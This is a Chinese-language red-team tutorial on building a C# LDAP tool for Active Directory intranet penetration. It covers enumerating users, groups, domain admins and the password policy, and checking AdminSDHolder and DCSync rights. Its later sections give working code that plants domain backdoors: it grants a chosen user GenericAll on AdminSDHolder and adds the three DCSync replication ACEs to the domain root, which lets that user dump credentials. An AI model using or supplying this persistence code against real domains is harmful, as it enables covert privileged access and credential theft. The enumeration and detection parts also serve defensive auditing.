C#编写LDAP内网渗透工具
0x01 LDAP连接
我们常规的ldap查询例如ldapsearch
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local"
ldap连接地址为:ldap://192.168.11.16 用户为hack 密码为test123..
在域外我们需要指定ip地址,在域内我们只需要指定域名也行,例如测试环境的redteam,也就是ldap://redteam,这里就说明我们写代码的时候就需要考虑是在域内还是在域外。
在c#进行ldap连接的时候需要引入DirectoryServices.dll,这个是系统自带的,自行寻找。
using System.DirectoryServices
1.1域外连接
string url = "LDAP://192.168.11.16/"; string username = "hack"; string password = "test123.."; DirectoryEntry coon = new DirectoryEntry(url,username, password);
DirectoryEntry类可封装 Active Directory 域服务层次结构中的节点或对象。
1.2 域内连接
如果是在域内,我们直接可以使用
DirectoryEntry coon = new DirectoryEntry();
所以我们就要判断下两种情况。我们知道了要用coon来获取节点列表,用search来进行条件查询。我们可以写两个方法来进行获取:
//域内 public static DirectoryEntry Get_coon_nopass() { coon = new DirectoryEntry(); return coon; } public static DirectorySearcher Get_search_nopass() { search = new DirectorySearcher(coon); return search; } //域外 public static void SET_LDAP_USER_PASS() { url = "LDAP://" + GetArgsValue.domain; username = GetArgsValue.user; password = GetArgsValue.pass; } public static DirectoryEntry Get_coon() { coon = new DirectoryEntry(url, username, password); return coon; } public static DirectorySearcher Get_search() { search = new DirectorySearcher(coon); return search; }
域内很好理解,这里来说下域外。SET_LDAP_USER_PASS()这个方法用来获取url,username,password,然后调用了GetArgsValue类里面的属性。
这里我用了NDesk.Options来处理获取的参数。
先定义三个list
List domains = new List(); List users = new List(); List passes = new List(); { "t|target=", "the {Target} of the needed to add user",v => adduser.Add (v) }, { "d|domain=", "the {IP} of the target",v => domains.Add (v) }, { "u|user=", "the {user} of the target",v => users.Add (v) },
这里的意思就是当用户输入-t -d -u 后面接受的值分别传递给了domains,users,passes。
然后写了个GetArgsValue类来存储这些值
public static string domain = ""; public static string user = ""; public static string pass = ""; public static void GetDomainValue(List param1 = null) { foreach (string p in param1) { domain = p; } } public static void GetUserValue(List param2 = null) { foreach (string p in param2) { user = p; } } public static void GetPassValue(List param3 = null) { foreach (string p in param3) { pass = p; } }
然后在主函数调用了一下方法。
//domain ip GetArgsValue.GetDomainValue(domains); //domain user GetArgsValue.GetUserValue(users); //domain pass GetArgsValue.GetPassValue(passes);
那么当用户输入的值就会存储在GetArgsValue类里面的3个字段里。现在看到一下就很好理解了
url = "LDAP://" + GetArgsValue.domain; username = GetArgsValue.user; password = GetArgsValue.pass;
域内外连接都写了,然后就要写一个方法来接受我们的连接。
public static void LDAP_COON() { if(GetArgsValue.user == "" && GetArgsValue.pass == "") { try { coon = Get_coon_nopass(); search = Get_search_nopass(); } catch { Font.Warning(); Console.WriteLine("connection ldap fail"); Font.NormailFonts(); } }else if(GetArgsValue.user != "" && GetArgsValue.pass != "") { try { SET_LDAP_USER_PASS(); coon = Get_coon(); search = Get_search(); } catch { Font.Warning(); Console.WriteLine("connection ldap fail"); Font.NormailFonts(); } } }
这里我的方法就是当GetArgsValue.user和GetArgsValue.pass的值为空的时候就会执行域内连接方法,否则就为域外。
我们把这个连接方法封装到Ldapcoon类里面,方便后面的调用
当在域外输入以下就会连接
xx.exe -d 192.168.11.16 -u hack -p test123..
0x02 Filter搜索条件
这里只会讲一些我们需要用到的一些语法,其他语法如果感兴趣可以自行搜索下。
这里先举例获取域内用户
(&(objectClass=user)(objectCategory=person))
在c#中DirectorySearcher类的作用是对 Active Directory 域服务执行查询
public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot); searchRoot DirectoryEntry Active Directory 域服务层次结构中的节点,从该节点处开始搜索。 SearchRoot 属性初始化为该值。
设置filter为查询域内所有用户
DirectorySearcher search = new DirectorySearcher(coon); search.Filter = "(&(objectClass=user)(objectCategory=person))"; foreach (SearchResult r in search.FindAll()) { string users = ""; try { users = r.Properties["name"][0].ToString(); Console.WriteLine(users); } catch { Console.WriteLine("error"); } }
这里name值如何而来,我其实是这样看的:我们先用ldapsearch执行该语句
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(objectClass=user)(objectCategory=person))"
代码:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.DirectoryServices; namespace DemoLdap { class Program { static void Main(string[] args) { string url = "LDAP://192.168.11.16"; string username = "hack"; string password = "test123.."; DirectoryEntry coon = new DirectoryEntry(url, username, password); DirectorySearcher search = new DirectorySearcher(coon); search.Filter = "(&(objectClass=user)(objectCategory=person))"; foreach(SearchResult r in search.FindAll()) { string users = ""; try { users = r.Properties["name"][0].ToString(); Console.WriteLine(users); } catch { Console.WriteLine("error"); } } } } }
执行结果为:
0x03 c#获取域内基本信息
前面连接函数已经写好后面获取这些基本信息就很简单了。
public static void GetAllUsers() { try { Ldapcoon.LDAP_COON(); Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))"; Font.InfoFonts(); Console.WriteLine("===========All Users==========="); Font.NormailFonts(); foreach (SearchResult r in Ldapcoon.search.FindAll()) { string domain_users = ""; domain_users = r.Properties["name"][0].ToString(); Console.WriteLine(domain_users); } } catch { Font.Warning(); Console.WriteLine("error!"); Font.NormailFonts(); } }
首先通过Ldapcoon类的LDAP_COON()方法获取域内节点coon,和可以用来搜索的search。域内就会返回域内的DirectoryEntry和DirectorySearcher对象,域外就会返回域外的DirectoryEntry和DirectorySearcher对象。
后面一些其他的就不再详讲
查询域内组
public static void GetAllGroups() { try { Ldapcoon.LDAP_COON(); Ldapcoon.search.Filter = "(&(objectCategory=group))"; Font.InfoFonts(); Console.WriteLine("===========All Groups==========="); Font.NormailFonts(); foreach (SearchResult r in Ldapcoon.search.FindAll()) { string groups = ""; string groupdescription = ""; groups = r.Properties["cn"][0].ToString(); Console.WriteLine("Group: " + groups); //groupdescription = r.Properties["description"][0].ToString(); //Console.WriteLine("Description: " + groupdescription + "\r"); } } catch { Font.Warning(); Console.WriteLine("error!"); Font.NormailFonts(); } }
域内密码策略:
public static void GetPassPolicy() { try { Ldapcoon.LDAP_COON(); Font.InfoFonts(); Console.WriteLine("===========Pass Policy==========="); Font.NormailFonts(); SearchResult r = Ldapcoon.search.FindOne(); long maxDays = 0; long minDays = 0; Int64 maxPwdAge = 0; Int64 minPwdAge = 0; string minPwdLength = ""; string lockoutThreshold = ""; Int64 lockoutDuration = 0; long lockTime = 0; maxPwdAge = (Int64)r.Properties["maxPwdAge"][0]; maxDays = maxPwdAge / -864000000000; minPwdAge = (Int64)r.Properties["minPwdAge"][0]; minDays = minPwdAge / -864000000000; minPwdLength = r.Properties["minPwdLength"][0].ToString(); lockoutThreshold = r.Properties["lockoutThreshold"][0].ToString(); lockoutDuration = (Int64)r.Properties["lockoutDuration"][0]; lockTime = lockoutDuration / -864000000000; Console.WriteLine("最小修改密码时间:" + minDays); Console.WriteLine("最大修改密码时间:" + maxDays); Console.WriteLine("最小密码长度:" + minPwdLength); Console.WriteLine("多少次锁定:" + lockoutThreshold); Console.WriteLine("锁定持续时间:" + lockTime); } catch { Font.Warning(); Console.WriteLine("error!"); Font.NormailFonts(); } }
域管
public static void GetAllAdmins() { try { Ldapcoon.LDAP_COON(); Ldapcoon.search.Filter = "(&(objectClass=group)(cn=Domain Admins))"; Font.InfoFonts(); Console.WriteLine("===========All Domain Admins==========="); Font.NormailFonts(); foreach (SearchResult r in Ldapcoon.search.FindAll()) { int domain_users_count = 0; string domain_users = ""; int len = 0; domain_users_count = r.Properties["member"].Count; while(len < domain_users_count) { domain_users = r.Properties["member"][len].ToString(); len++; if (domain_users.Contains("User")) { Console.WriteLine(domain_users); } else { continue; } } } } catch { Font.Warning(); Console.WriteLine("error!"); Font.NormailFonts(); } }
这里查询域管,我是这样进行处理的,我们先通过ldapsearch来查看返回结果
然后我获取member的数量然后看里面是否包含user来输出。
0x04 AdminSDHolder检测与后门用户添加
4.1 检测
AdminSDHolder是对CN=AdminSDHolder,CN=System,DC=redteam,DC=local这个cn拥有完全控制权限的用户,我们前面说到
public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);
这里的searchroot就是查询的根地址我们就需要绑定到CN=AdminSDHolder,CN=System,DC=redteam,DC=local这里来也就是说url为
LDAP://192.168.11.16/CN=AdminSDHolder,CN=System,DC=redteam,DC=local 或者为 LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
每个域的名字都不一样所以我们要来获取对象的DC=redteam,DC=local和redteam这个值。
这里我们来创建一个public_value类也就是公共值类。
我们通过adexplorer来可以看到distinguishedName的值就为我们需要的。
我们可以看到objectClass为domainDNS.
所以我们的filter为:
(&(objectClass=domainDNS))
这里先用ldapsearch来进行查询
所以我们可以写一个方法来获取了:
//获取DC=redteam,DC=local这个值 public static String GetdistinguishedName() { string Domain_DNS_Name = ""; try { Ldapcoon.LDAP_COON(); Ldapcoon.search.Filter = "(&(objectClass=domainDNS))"; foreach (SearchResult r in Ldapcoon.search.FindAll()) { string domainDNS_Name = ""; domainDNS_Name = r.Properties["distinguishedName"][0].ToString(); Domain_DNS_Name = domainDNS_Name; } } catch { Font.Warning(); Console.WriteLine("error!"); Font.NormailFonts(); } return Domain_DNS_Name; }
同理
//获取readteam这个值 public static String Get_Dns_First_Name() { string Dns_First_Name = ""; try { Ldapcoon.LDAP_COON(); Ldapcoon.search.Filter = "(&(objectClass=domainDNS))"; foreach (SearchResult r in Ldapcoon.search.FindAll()) { string domainDC_Name = ""; domainDC_Name = r.Properties["dc"][0].ToString(); Dns_First_Name = domainDC_Name; } } catch { Font.Warning(); Console.WriteLine("error!"); Font.NormailFonts(); } return Dns_First_Name; }
那么现在就可以绑定adminsdholder路径了
//首先获取DC=redteam,DC=local这个值 string distinguishedName = ""; distinguishedName = public_value.GetdistinguishedName(); //然后获取readteam这个值 string dc = ""; dc = public_value.Get_Dns_First_Name(); if (dc != "" && distinguishedName != "") { //进行拼接如果在域内可以直接拼接为以下 //LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local bool flag = public_value.isindomain(); string AdminSDHolder_path = ""; if (flag) { AdminSDHolder_path = "LDAP://" + dc + "/CN=AdminSDHolder,CN=System," + distinguishedName; } else { AdminSDHolder_path = "LDAP://" + GetArgsValue.domain + "/CN=AdminSDHolder,CN=System," + distinguishedName; } Ldapcoon.coon.Path = AdminSDHolder_path;
这里为了方便我写了个isindomain放来来判断是否在域内还是在域外
//判断域内还是域外 public static bool isindomain() { if (GetArgsValue.user != "" && GetArgsValue.pass != "") { return false; } return true; }
我们需求很简单就是要获取哪些用户对adminsdholder这个cn拥有完全控制权限。
DirectoryEntry类有个属性叫做ObjectSecurity作用是获取或设置此项的安全说明符。这个详细请自行查看msdn。
ActiveDirectorySecurity sec = Ldapcoon.coon.ObjectSecurity; AuthorizationRuleCollection rules = null; rules = sec.GetAccessRules(true, true, typeof(NTAccount)); foreach (ActiveDirectoryAccessRule rule in rules) { if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll")) { string acl = rule.IdentityReference.Value; if (acl.Contains("-")) { //域外查询可能会出现用户名为sid的情况。所以需要转换 //Console.WriteLine(acl); string user_name = public_value.SidToUserName(acl); if(user_name != "error") { Console.WriteLine(user_name); } } else { Console.WriteLine(acl); } } }
获取到coon的安全说明符后调用GetAccessRules方法获取与指定的安全性标识符关联的访问规则的集合。也就是说获取我们这个节点的规则集合,然后用foreach来循环判断。当用户的ActiveDirectoryRights也就是权限为GenericAll我们就输出出来他的名字,也就是对adminsdholder这个拥有完全控制权限的用户。当我们在域外的时候我们获取到的用户可能是sid,所以我们还需要让sid转换为域内用户名字。当然这个用户可能是一个user,group或者一个computer
这里调用了public_value的SidToUserName方法。
//sid to username public static string SidToUserName(string sid) { try { Ldapcoon.LDAP_COON(); string url = "LDAP://" + GetArgsValue.domain + "/ + sid + ">"; Ldapcoon.coon.Path = url; Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))"; foreach (SearchResult r in Ldapcoon.search.FindAll()) { string users = ""; users = r.Properties["name"][0].ToString(); if (users != "") { return users; } } Ldapcoon.search.Filter = "(&(objectClass=group))"; foreach (SearchResult r in Ldapcoon.search.FindAll()) { string groups = ""; groups = r.Properties["name"][0].ToString(); if (groups != "") { return groups; } } Ldapcoon.search.Filter = "(&(objectClass=computer))"; foreach (SearchResult r in Ldapcoon.search.FindAll()) { string computers = ""; computers = r.Properties["name"][0].ToString(); if (computers != "") { return computers; } } } catch { } return "error"; }
在ldap用支持以下语法这种形式
LDAP://192.168.11.16/
于是我们把sid带入,设置coon.path为该用户再通过(&(objectClass=user)(objectCategory=person))过滤条件搜索出来,比如
我们绑定了hack用户为rootpath,那么通过过滤条件搜索出来的也是它自己,因为它没有子节点了。然后获取他的name值,当获取到的不为空就返回,否则就返回error,然后在adminsdholder检测代码这边我们写道
string acl = rule.IdentityReference.Value; if (acl.Contains("-")) { //域外查询可能会出现用户名为sid的情况。所以需要转换 //Console.WriteLine(acl); string user_name = public_value.SidToUserName(acl); if(user_name != "error") { Console.WriteLine(user_name); }
当user_name不为error的时候就会输出,那么什么时候会输出error呢?假如我们以前有一个用户为qqq,然后他对adminsdholder这个组拥有完全控制权限,但是我们后来把这个用户删除了,他就会到一个CN=Deleted Objects里面他的sid就为url就为下面这个然后我们的LDAP://redteam/就会失败。
CN=qqqDEL:67e38247-2727-4c5a-8704-c9f33ad747da,CN=Deleted Objects,DC=redteam,DC=local
我们在匹配谁对adminsdholder拥有完全控制权限的时候还是会检测到。就搜索失败返回error,这里我们获取到error的直接continue。
4.2 添加
前面同理我们需要设置rootpath
Ldapcoon.LDAP_COON(); //获取DC=redteam,DC=local string distinguishedName = ""; string domainname = ""; domainname = public_value.Get_Dns_First_Name(); distinguishedName = public_value.GetdistinguishedName(); //string AdminSDHolder_Path = "LDAP://192.168.11.16/CN=System,DC=redteam,DC=local"; string AdminSDHolder_Path = "LDAP://" + domainname + "/" + "CN=System," + distinguishedName; //Console.WriteLine(AdminSDHolder_Path); Ldapcoon.coon.Path = AdminSDHolder_Path;
赋予用户对adminsdholder完全控制权限
foreach (DirectoryEntry computer in Ldapcoon.coon.Children) { if (computer.Name == "CN=AdminSDHolder") { ActiveDirectorySecurity sdc = computer.ObjectSecurity; NTAccount Account = new NTAccount(username); SecurityIdentifier Sid =(SecurityIdentifier)Account.Translate(typeof(SecurityIdentifier)); ActiveDirectoryAccessRule rule = new ActiveDirectoryAccessRule(Sid,ActiveDirectoryRights.GenericAll,AccessControlType.Allow); sdc.SetAccessRule(rule); computer.CommitChanges(); Font.InfoFonts(); Console.WriteLine("AdminSDHolder back door add user "+ username + " success!!"); Font.NormailFonts(); } }
我们先遍历节点当节点为CN=AdminSDHolder的时候获取他的安全规则集合
然后我们看到ActiveDirectoryAccessRule类:用于表示 Active Directory 域服务对象的自由访问控制列表 (DACL) 中的访问控制项 (ACE)。
ActiveDirectoryAccessRule(IdentityReference, ActiveDirectoryRights, AccessControlType)
我们可以看到第一个参数为一个IdentityReference对象,第二个参数为访问规则权限的一个或多个,第三个参数为访问规则类型。
我们前面的account为NTAccount类型,我们可以通过Translate把他转换为IdentityReference类型,然后第二个我们设置为GenericAll,第三个设置为允许。我们设置了这个规则后可以通过SetAccessRule方法来设置。
最后通过CommitChanges方法来进行添加。
0x05 Dcsync检测与后门用户添加
5.1 检测
当用户对根域拥有完全控制权限或者拥有以下三条ace或者对以下权限打勾的时候就能dcsync。
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 89e95b76-444d-4c62-991a-0facbeda640c
我们先绑定rootpath为根路径然后先判断拥有完全控制权限的用户:
if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll")) { string acl = rule.IdentityReference.Value; if (acl.Contains("-")) { //域外查询可能会出现用户名为sid的情况。所以需要转换 //Console.WriteLine(acl); string user_name = public_value.SidToUserName(acl); if (user_name != "error") { ACE_Changes.Add(user_name); ACE_Changes_All.Add(user_name); ACE_Changes_In_Filtered_Set.Add(user_name); } else { continue; } } else { ACE_Changes.Add(acl); ACE_Changes_All.Add(acl); ACE_Changes_In_Filtered_Set.Add(acl); } }
这里的
ACE_Changes.Add(acl); ACE_Changes_All.Add(acl); ACE_Changes_In_Filtered_Set.Add(acl);
这里我通过switch case来进行判断是否拥有这个三条acl,可能有些用户只有两条或者一条,所以我通过
string guids = rule.ObjectType.ToString(); switch (guids) { case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": username = dcsync_return_username(rule); if(username == null) { continue; } //Console.WriteLine("ACE:复制目录更改"); //Console.WriteLine("User:"+ username); ACE_Changes.Add(username); break; case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": username = dcsync_return_username(rule); if (username == null) { continue; } //Console.WriteLine("ACE:复制目录更改全部"); //Console.WriteLine("User:" + username); ACE_Changes_All.Add(username); break; case "89e95b76-444d-4c62-991a-0facbeda640c": username = dcsync_return_username(rule); if (username == null) { continue; } //Console.WriteLine("ACE:复制过滤集中的目录更改"); //Console.WriteLine("User:" + username); ACE_Changes_In_Filtered_Set.Add(username); break; }
来进行处理,当拥有每条acl的时候就添加到一个集合里面,然后我们再取三个集合的交集
//取三个集合的交集 IEnumerable dcsync_users1 = ACE_Changes.Intersect(ACE_Changes_All); IEnumerable dcsync_users2 = dcsync_users1.Intersect(ACE_Changes_In_Filtered_Set); foreach(string dcsync_users in dcsync_users2) { Console.WriteLine(dcsync_users); }
通过以上方法取出来我发现了一个问题当一个用户勾选了特殊权限,他的acl里面那三个复制目录权限是没有打上勾的但是依然能够进行dcsync。
再ActiveDirectoryAccessRule类里面存在一个InheritedObjectType属性,他的作用是获取可继承ObjectAccessRule对象的子对象的类型,所以我们也要判断用户这里面的值是否也用户这三条acl。
string guids_extend = rule.InheritedObjectType.ToString(); switch (guids_extend) { case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": username = dcsync_return_username(rule); if (username == null) { continue; } //Console.WriteLine("ACE:复制目录更改"); //Console.WriteLine("User:"+ username); ACE_Changes.Add(username); break; case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": username = dcsync_return_username(rule); if (username == null) { continue; } //Console.WriteLine("ACE:复制目录更改全部"); //Console.WriteLine("User:" + username); ACE_Changes_All.Add(username); break; case "89e95b76-444d-4c62-991a-0facbeda640c": username = dcsync_return_username(rule); if (username == null) { continue; } //Console.WriteLine("ACE:复制过滤集中的目录更改"); //Console.WriteLine("User:" + username); ACE_Changes_In_Filtered_Set.Add(username); break; }
5.2 添加
我们通过ExtendedRightAccessRule类来添加这三条acl的guid
public ExtendedRightAccessRule (System.Security.Principal.IdentityReference identity, System.Security.AccessControl.AccessControlType type, Guid extendedRightType);
第一个为SecurityIdentifier的对象,前面已经说明了。第二个为访问规则类型。第三个为acl的guid。
然后通过AddAccessRule来添加。
ActiveDirectorySecurity adsOUSec = Ldapcoon.coon.ObjectSecurity; NTAccount ntaToDelegate = new NTAccount(username); SecurityIdentifier Sid = (SecurityIdentifier)ntaToDelegate.Translate(typeof(SecurityIdentifier)); Guid Get_Changes = new Guid("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"); Guid Get_Changes_All = new Guid("1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"); Guid ACE_Changes_In_Filtered = new Guid("89e95b76-444d-4c62-991a-0facbeda640c"); ExtendedRightAccessRule Changes = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes); ExtendedRightAccessRule Changes_All = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes_All); ExtendedRightAccessRule Changes_Filtered = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, ACE_Changes_In_Filtered); adsOUSec.AddAccessRule(Changes); adsOUSec.AddAccessRule(Changes_All); adsOUSec.AddAccessRule(Changes_Filtered); Ldapcoon.coon.CommitChanges()
